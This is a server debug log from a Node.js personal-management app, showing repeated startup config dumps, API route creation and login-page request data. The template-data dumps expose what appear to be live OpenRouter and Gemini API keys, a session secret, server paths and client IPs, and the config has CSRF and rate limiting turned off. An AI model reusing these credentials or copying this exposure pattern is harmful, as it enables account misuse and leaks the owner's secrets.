    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-26T16:20:58.658Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-26T16:20:59.520Z server-connect:setup:upload Upload middleware configured.
2026-06-26T16:20:59.520Z server-connect:secure CSRF Protection initialized
2026-06-26T16:20:59.525Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-26T16:20:59.528Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-26T16:20:59.529Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-26T16:20:59.531Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-26T16:20:59.537Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-26T16:20:59.543Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-26T16:20:59.554Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-26T16:20:59.568Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-26T16:20:59.572Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-26T16:20:59.574Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-26T16:20:59.576Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-26T16:20:59.580Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-26T16:20:59.586Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-26T16:20:59.595Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-26T16:20:59.599Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-26T16:20:59.672Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-26T16:20:59.673Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-26T16:20:59.678Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-26T16:20:59.683Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-26T16:20:59.687Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-26T16:20:59.689Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-26T16:20:59.697Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-26T16:20:59.699Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-26T16:20:59.705Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-26T16:20:59.707Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-26T16:20:59.711Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-26T16:20:59.713Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-26T16:20:59.715Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-26T16:20:59.721Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-26T16:20:59.721Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-26T16:20:59.724Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-26T16:20:59.728Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-26T16:20:59.732Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-26T16:20:59.734Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-26T16:20:59.740Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-26T16:20:59.744Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-26T16:20:59.746Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-26T16:20:59.755Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-26T16:21:00.244Z server-connect:router Serving templateView /
2026-06-26T16:21:00.246Z server-connect:app Executing action step identify
2026-06-26T16:21:00.246Z server-connect:app options: { provider: 'security' }
2026-06-26T16:21:00.248Z server-connect:auth No login cookie found
2026-06-26T16:21:00.248Z server-connect:output identity: false
2026-06-26T16:21:00.248Z server-connect:app Executing action step restrict
2026-06-26T16:21:00.249Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-26T16:21:00.252Z server-connect:output restrict: undefined
2026-06-26T16:21:00.382Z server-connect:router Serving templateView /login
2026-06-26T16:21:00.382Z server-connect:app Executing action step identify
2026-06-26T16:21:00.382Z server-connect:app options: { provider: 'security' }
2026-06-26T16:21:00.383Z server-connect:auth No login cookie found
2026-06-26T16:21:00.383Z server-connect:output identity: false
2026-06-26T16:21:00.383Z server-connect:router Render template layouts/authentication
2026-06-26T16:21:00.383Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.226.218.58',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-27T16:21:00.380Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.226.218.58',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.226.218.58',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-26T19:38:17.219Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-26T19:38:21.585Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-26T19:38:23.254Z server-connect:setup:upload Upload middleware configured.
2026-06-26T19:38:23.254Z server-connect:secure CSRF Protection initialized
2026-06-26T19:38:23.268Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-26T19:38:23.273Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-26T19:38:23.276Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-26T19:38:23.282Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-26T19:38:23.304Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-26T19:38:23.311Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-26T19:38:23.327Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-26T19:38:23.342Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-26T19:38:23.366Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-26T19:38:23.430Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-26T19:38:23.432Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-26T19:38:23.437Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-26T19:38:23.489Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-26T19:38:23.500Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-26T19:38:23.509Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-26T19:38:23.585Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-26T19:38:23.592Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-26T19:38:23.601Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-26T19:38:23.608Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-26T19:38:23.614Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-26T19:38:23.618Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-26T19:38:23.628Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-26T19:38:23.630Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-26T19:38:23.636Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-26T19:38:23.638Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-26T19:38:23.644Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-26T19:38:23.644Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-26T19:38:23.647Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-26T19:38:23.653Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-26T19:38:23.655Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-26T19:38:23.657Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-26T19:38:23.659Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-26T19:38:23.663Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-26T19:38:23.665Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-26T19:38:23.671Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-26T19:38:23.675Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-26T19:38:23.677Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-26T19:38:23.686Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-27T06:42:39.004Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-27T06:42:41.275Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-27T06:42:42.137Z server-connect:setup:upload Upload middleware configured.
2026-06-27T06:42:42.137Z server-connect:secure CSRF Protection initialized
2026-06-27T06:42:42.142Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-27T06:42:42.144Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-27T06:42:42.145Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-27T06:42:42.147Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-27T06:42:42.155Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-27T06:42:42.156Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-27T06:42:42.170Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-27T06:42:42.185Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-27T06:42:42.188Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-27T06:42:42.190Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-27T06:42:42.192Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-27T06:42:42.196Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-27T06:42:42.202Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-27T06:42:42.211Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-27T06:42:42.216Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-27T06:42:42.291Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-27T06:42:42.291Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-27T06:42:42.296Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-27T06:42:42.301Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-27T06:42:42.305Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-27T06:42:42.307Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-27T06:42:42.315Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-27T06:42:42.317Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-27T06:42:42.323Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-27T06:42:42.325Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-27T06:42:42.329Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-27T06:42:42.331Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-27T06:42:42.333Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-27T06:42:42.339Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-27T06:42:42.341Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-27T06:42:42.341Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-27T06:42:42.344Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-27T06:42:42.349Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-27T06:42:42.350Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-27T06:42:42.356Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-27T06:42:42.360Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-27T06:42:42.362Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-27T06:42:42.372Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-27T06:42:42.869Z server-connect:router Serving templateView /
2026-06-27T06:42:42.872Z server-connect:router Serving templateView /
2026-06-27T06:42:42.874Z server-connect:app Executing action step identify
2026-06-27T06:42:42.874Z server-connect:app options: { provider: 'security' }
2026-06-27T06:42:42.876Z server-connect:auth No login cookie found
2026-06-27T06:42:42.876Z server-connect:output identity: false
2026-06-27T06:42:42.876Z server-connect:app Executing action step restrict
2026-06-27T06:42:42.876Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-27T06:42:42.881Z server-connect:output restrict: undefined
2026-06-27T06:42:42.882Z server-connect:app Executing action step identify
2026-06-27T06:42:42.882Z server-connect:app options: { provider: 'security' }
2026-06-27T06:42:42.882Z server-connect:auth No login cookie found
2026-06-27T06:42:42.882Z server-connect:output identity: false
2026-06-27T06:42:42.882Z server-connect:app Executing action step restrict
2026-06-27T06:42:42.882Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-27T06:42:42.883Z server-connect:output restrict: undefined
2026-06-27T06:42:43.062Z server-connect:router Serving templateView /login
2026-06-27T06:42:43.062Z server-connect:app Executing action step identify
2026-06-27T06:42:43.062Z server-connect:app options: { provider: 'security' }
2026-06-27T06:42:43.062Z server-connect:auth No login cookie found
2026-06-27T06:42:43.062Z server-connect:output identity: false
2026-06-27T06:42:43.062Z server-connect:router Render template layouts/authentication
2026-06-27T06:42:43.063Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    cookie: 'wssplashchk=0a6267281c38a1ff7a73b3bad7e8214ed48424b0.1782546157.1',
    'x-forwarded-for': '212.56.48.24',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: '0a6267281c38a1ff7a73b3bad7e8214ed48424b0.1782546157.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-28T06:42:43.061Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '212.56.48.24',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=0a6267281c38a1ff7a73b3bad7e8214ed48424b0.1782546157.1',
    'HTTP_X_FORWARDED-FOR': '212.56.48.24',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-27T07:22:09.985Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-27T07:22:10.792Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-27T07:22:11.546Z server-connect:setup:upload Upload middleware configured.
2026-06-27T07:22:11.546Z server-connect:secure CSRF Protection initialized
2026-06-27T07:22:11.549Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-27T07:22:11.552Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-27T07:22:11.553Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-27T07:22:11.554Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-27T07:22:11.555Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-27T07:22:11.560Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-27T07:22:11.572Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-27T07:22:11.585Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-27T07:22:11.586Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-27T07:22:11.589Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-27T07:22:11.591Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-27T07:22:11.592Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-27T07:22:11.599Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-27T07:22:11.609Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-27T07:22:11.610Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-27T07:22:11.619Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-27T07:22:11.620Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-27T07:22:11.622Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-27T07:22:11.628Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-27T07:22:11.631Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-27T07:22:11.634Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-27T07:22:11.635Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-27T07:22:11.638Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-27T07:22:11.645Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-27T07:22:11.645Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-27T07:22:11.649Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-27T07:22:11.651Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-27T07:22:11.654Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-27T07:22:11.657Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-27T07:22:11.659Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-27T07:22:11.661Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-27T07:22:11.663Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-27T07:22:11.665Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-27T07:22:11.667Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-27T07:22:11.673Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-27T07:22:11.677Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-27T07:22:11.679Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-27T07:22:11.688Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-27T07:22:12.100Z server-connect:router Serving templateView /
2026-06-27T07:22:12.102Z server-connect:app Executing action step identify
2026-06-27T07:22:12.103Z server-connect:app options: { provider: 'security' }
2026-06-27T07:22:12.104Z server-connect:auth No login cookie found
2026-06-27T07:22:12.104Z server-connect:output identity: false
2026-06-27T07:22:12.104Z server-connect:app Executing action step restrict
2026-06-27T07:22:12.105Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-27T07:22:12.109Z server-connect:output restrict: undefined
2026-06-27T07:22:12.370Z server-connect:router Serving templateView /login
2026-06-27T07:22:12.370Z server-connect:app Executing action step identify
2026-06-27T07:22:12.371Z server-connect:app options: { provider: 'security' }
2026-06-27T07:22:12.371Z server-connect:auth No login cookie found
2026-06-27T07:22:12.371Z server-connect:output identity: false
2026-06-27T07:22:12.371Z server-connect:router Render template layouts/authentication
2026-06-27T07:22:12.372Z server-connect:router Template data: {
